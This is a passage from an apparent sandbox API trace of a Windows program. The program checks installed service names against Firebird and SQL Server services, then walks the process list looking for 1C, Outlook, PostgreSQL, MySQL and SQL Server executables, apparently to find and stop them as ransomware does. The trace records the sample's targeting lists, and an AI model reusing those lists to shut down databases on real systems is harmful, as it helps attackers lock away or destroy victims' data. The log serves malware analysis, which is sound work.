(lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.329] lstrlenW (lpString="CscService") returned 10 [0036.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.329] lstrlenW (lpString="DcomLaunch") returned 10 [0036.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.329] lstrlenW (lpString="Dhcp") returned 4 [0036.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.329] lstrlenW (lpString="Dnscache") returned 8 [0036.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.330] lstrlenW (lpString="DPS") returned 3 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.330] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.330] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.330] lstrlenW (lpString="eventlog") returned 8 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.330] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.330] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.330] lstrlenW (lpString="EventSystem") returned 11 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.330] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.330] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.330] lstrlenW (lpString="gpsvc") returned 5 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.330] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.330] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.330] lstrlenW (lpString="iphlpsvc") returned 8 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.330] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.330] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.330] lstrlenW (lpString="LanmanServer") returned 12 [0036.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.331] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.331] lstrlenW (lpString="lmhosts") returned 7 [0036.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.331] lstrlenW (lpString="MMCSS") returned 5 [0036.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.331] lstrlenW (lpString="MpsSvc") returned 6 [0036.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.331] lstrlenW (lpString="Netman") returned 6 [0036.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.331] lstrlenW (lpString="netprofm") returned 8 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.332] lstrlenW (lpString="NlaSvc") returned 6 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.332] lstrlenW (lpString="nsi") returned 3 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.332] lstrlenW (lpString="PcaSvc") returned 6 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.332] lstrlenW (lpString="PlugPlay") returned 8 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.332] lstrlenW (lpString="Power") returned 5 [0036.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.333] lstrlenW (lpString="ProfSvc") returned 7 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.333] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.333] lstrlenW (lpString="RpcSs") returned 5 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.333] lstrlenW (lpString="SamSs") returned 5 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.333] lstrlenW (lpString="Schedule") returned 8 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.333] lstrlenW (lpString="SENS") returned 4 [0036.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.333] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.333] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0036.334] lstrlenW (lpString="ShellHWDetection") returned 16 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0036.334] lstrlenW (lpString="Spooler") returned 7 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0036.334] lstrlenW (lpString="SysMain") returned 7 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0036.334] lstrlenW (lpString="Themes") returned 6 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0036.334] lstrlenW (lpString="TrkWks") returned 6 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0036.334] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0036.334] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0036.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0036.334] lstrlenW (lpString="UxSms") returned 5 [0036.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0036.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0036.335] lstrlenW (lpString="WdiServiceHost") returned 14 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0036.335] lstrlenW (lpString="WdiSystemHost") returned 13 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0036.335] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0036.335] lstrlenW (lpString="Winmgmt") returned 7 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0036.335] lstrlenW (lpString="WPDBusEnum") returned 10 [0036.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0036.335] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0036.335] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0036.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0036.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d91e0 | out: hHeap=0x5a0000) returned 1 [0036.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0036.342] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0036.344] lstrlenW (lpString="System") returned 6 [0036.344] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0036.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0036.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0036.345] lstrlenW (lpString="smss.exe") returned 8 [0036.345] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0036.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.345] lstrlenW (lpString="csrss.exe") returned 9 [0036.345] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.345] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.346] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0036.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0036.346] lstrlenW (lpString="wininit.exe") returned 11 [0036.346] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0036.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0036.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0036.347] lstrlenW (lpString="csrss.exe") returned 9 [0036.347] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0036.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0036.347] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0036.347] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0036.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0036.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0036.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0036.348] lstrlenW (lpString="winlogon.exe") returned 12 [0036.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0036.348] lstrlenW (lpString="services.exe") returned 12 [0036.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0036.349] lstrlenW (lpString="lsass.exe") returned 9 [0036.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0036.349] lstrlenW (lpString="lsm.exe") returned 7 [0036.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.350] lstrlenW (lpString="svchost.exe") returned 11 [0036.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.350] lstrlenW (lpString="svchost.exe") returned 11 [0036.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.351] lstrlenW (lpString="svchost.exe") returned 11 [0036.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.351] lstrlenW (lpString="svchost.exe") returned 11 [0036.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, 